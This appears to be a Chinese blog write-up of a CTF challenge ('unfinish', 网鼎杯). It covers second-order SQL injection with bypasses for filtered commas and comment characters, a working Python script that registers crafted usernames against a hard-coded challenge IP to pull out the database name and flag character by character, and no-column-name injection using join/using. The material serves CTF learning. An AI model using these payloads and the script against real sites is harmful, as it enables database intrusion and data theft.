unfinish ctf 网鼎杯二次注入 无列名注入join-using

目录

unfinish ctf 网鼎杯二次注入 

1、首先需要注册用户

2、正常登录自己的用户 结果发现数据回显 用户名  那这样我们就可以使用二次注入来解决问题

3、我们尝试注入一次试试会不会回显数据

所以我们开始注入

1、逗号 "," 被过滤 就不能通过ascii 来爆出数据库名称 (我们可以用from for 替换)

2、这样的方法可以把数据爆出来,但是太麻烦,用16进制将所有字母转换成数字 遇到中间有字母的(会被截断)

3、但是 数据一但长了,就会显示科学计数法,将字符串截取被转换的前十位 截取一部分转换16进制

4,接下来通过爬虫的方式,将数据整出来

无列名注入join-using 


unfinish ctf 网鼎杯二次注入 

BUUCTF在线评测

找到之后我们就可以开始了

1、首先需要注册用户

绕过一些字符 一个一个试很麻烦,需要整理一些字符 (可以去 fuzz字典 查看)

bp的爆破模块 200 是被过滤的 所以说information ,也被过滤掉了

我们通过awvs扫描得知存在 register.php 注册页面

2、正常登录自己的用户 结果发现数据回显 用户名  那这样我们就可以使用二次注入来解决问题

3、我们尝试注入一次试试会不会回显数据

很明显数据回显 二次注入

所以我们开始注入

我们不知道什么符号过滤了(绕过一些字符 一个一个试很麻烦,需要整理一些字符 (可以去 fuzz字典 查看))

通过bp软件扫描一下 (我们发现200 过滤了 ,#)

‘#’被过滤很麻烦,因为sql注入 后面需要注释一些字符

想到 mysql ‘+’可以当作数学里的加号来使用 那么就有了解决问题的办法

select '1' + '0' 

通过 + 来 连接 asc码来报出数据库名

1、逗号 "," 被过滤 就不能通过ascii 来爆出数据库名称 (我们可以用from for 替换)

0' + ascii(substr(database()from 1 for 1)) + '0

119转义对应的w 

成功回显管理员第一个字母w,当然后面可以多次注入,最后拼接数据库名为web,表名我们直接就猜flag了,当然你也可以通过mysql默认的sys去进行注入出来因为information被禁用了

2、这样的方法可以把数据爆出来,但是太麻烦,用16进制将所有字母转换成数字 遇到中间有字母的(会被截断)

        比如说 flag 转义是 666c6167

        但是一加之后就只会显示出666 这条数据

        所以需要hex(hex())这样就不会出现字母截断的效果了

        

3、但是 数据一但长了,就会显示科学计数法,将字符串截取被转换的前十位 截取一部分转换16进制

4,接下来通过爬虫的方式,将数据整出来

import requests
import time
from bs4 import BeautifulSoup       #html解析器
 
def getDatabase():
    database = ''
    for i in range(10):
        data_database = {
            'username':"0'+ascii(substr((select database()) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_database)
        login_data={
            'password':'admin',
            "email":"admin11@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        database+=chr(int(username))
    return database
 
def getFlag():
    flag = ''
    for i in range(40):
        data_flag = {
            'username':"0'+ascii(substr((select * from flag) from "+str(i+1)+" for 1))+'0",
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        #注册
        requests.post("http://220.249.52.133:36774/register.php",data_flag)
        login_data={
            'password':'admin',
            "email":"admin32@admin.com"+str(i)
        }
        response=requests.post("http://220.249.52.133:36774/login.php",login_data)
        html=response.text                  #返回的页面
        soup=BeautifulSoup(html,'html.parser')
        getUsername=soup.find_all('span')[0]#获取用户名
        username=getUsername.text
        if int(username)==0:
            break
        flag+=chr(int(username))
    return flag
 
print(getDatabase())
print(getFlag())

结束

无列名注入join-using 

当我们用sql注入的时候,information_schema 库里 tables 存放数据库所有的库 表 列 和一些基本信息

select table_name from information_schema.tables where table_schema='security';

我们就查到了security中的表

现在限制了information 过滤和忽略大小写  这样又怎么查你想要的表里面的数据呢

information被过滤掉之后,我们只能换方法,看看,其他库里还能不能拿到我们想要的数据

我们去看一看sys数据库

但是 里面并没有我们想要的结果 只有一些表的信息,没有列名的表

sys.schema_auto_increment_columns
sys.schema_table_statistics_with_buffer
musql.innodb_table_stats
mysql.innodb_table_index

所以我们只能找寻其他方法 无列明注入

无列明注入 join-using (as 是 起别名 using是排除id这列还有没有其他列名)

select * from (select * from users as a join users b) c;
select * from (select * from users as a join users b using(id)) c;
select * from (select * from users as a join users b using(id,username)) c;

但是在 php 7 版本之后出现 pdo 从底层解决 mysql注入威胁

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值